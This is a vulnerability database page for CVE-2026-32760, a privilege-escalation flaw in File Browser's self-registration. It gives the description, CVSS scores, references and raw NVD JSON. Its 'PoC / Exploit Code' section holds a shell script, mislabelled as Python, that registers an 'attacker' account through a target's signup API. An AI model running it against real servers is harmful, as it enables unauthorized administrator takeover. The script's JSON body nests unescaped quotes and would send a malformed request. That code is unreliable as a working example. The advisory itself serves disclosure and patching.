CVE-2026-32760

Description

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings (including Perm.Admin) to the new user without any server-side guard that strips admin from self-registered accounts. The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after applying defaults. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. This issue has been resolved in version 2.62.0.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:* - VULNERABLE

File Browser <= 2.61.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-32760: File Browser Privilege Escalation
# Description: Exploit the signup feature to create a new admin account.

TARGET_URL="http://target-ip:8080"
USERNAME="attacker"
PASSWORD="P@ssw0rd123!"

echo "[+] Attempting to register admin user on $TARGET_URL..."

# Send registration request
curl -X POST "$TARGET_URL/api/signup" \
     -H "Content-Type: application/json" \
     -d "{
       "username": "$USERNAME",
       "password": "$PASSWORD"
     }"

echo ""
echo "[+] If vulnerable, try logging in with $USERNAME / $PASSWORD"

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32760
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32760
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32760/
[4] VulDB https://vuldb.com/cve/CVE-2026-32760
[5] https://github.com/filebrowser/filebrowser/commit/a63573b67eb302167b4c4f218361a2d0c138deab
[6] https://github.com/filebrowser/filebrowser/releases/tag/v2.62.0
[7] https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5gg9-5g7w-hm73

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32760", "sourceIdentifier": "[email protected]", "published": "2026-03-20T00:16:17.440", "lastModified": "2026-03-23T16:54:48.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings (including Perm.Admin) to the new user without any server-side guard that strips admin from self-registered accounts. The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after applying defaults. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings. This issue has been resolved in version 2.62.0."}, {"lang": "es", "value": "Navegador de Archivos es una interfaz de gestión de archivos para cargar, eliminar, previsualizar, renombrar y editar archivos dentro de un directorio especificado. En las versiones 2.61.2 e inferiores, cualquier visitante no autenticado puede registrar una cuenta de administrador completa cuando el autorregistro (signup = true) está habilitado y los permisos de usuario predeterminados tienen perm.admin = true. El gestor de registro aplica ciegamente todas las configuraciones predeterminadas (incluyendo Perm.Admin) al nuevo usuario sin ninguna protección del lado del servidor que elimine los privilegios de administrador de las cuentas autorregistradas. Se supone que el signupHandler debe crear cuentas sin privilegios para nuevos visitantes. No contiene un restablecimiento explícito de user.Perm.Admin = false después de aplicar los valores predeterminados. Si un administrador (intencionalmente o accidentalmente) configura defaults.perm.admin = true y también habilita el registro, cada cuenta creada a través del punto final de registro público es un administrador con control total sobre todos los archivos, usuarios y configuraciones del servidor. Este problema ha sido resuelto en la versión 2.62.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.62.0", "matchCriteriaId": "7E5C9E4B-8749-44EA-AB8D-1292D4C9DB65"}]}]}], "references": [{"url": "https://gi ... (truncated)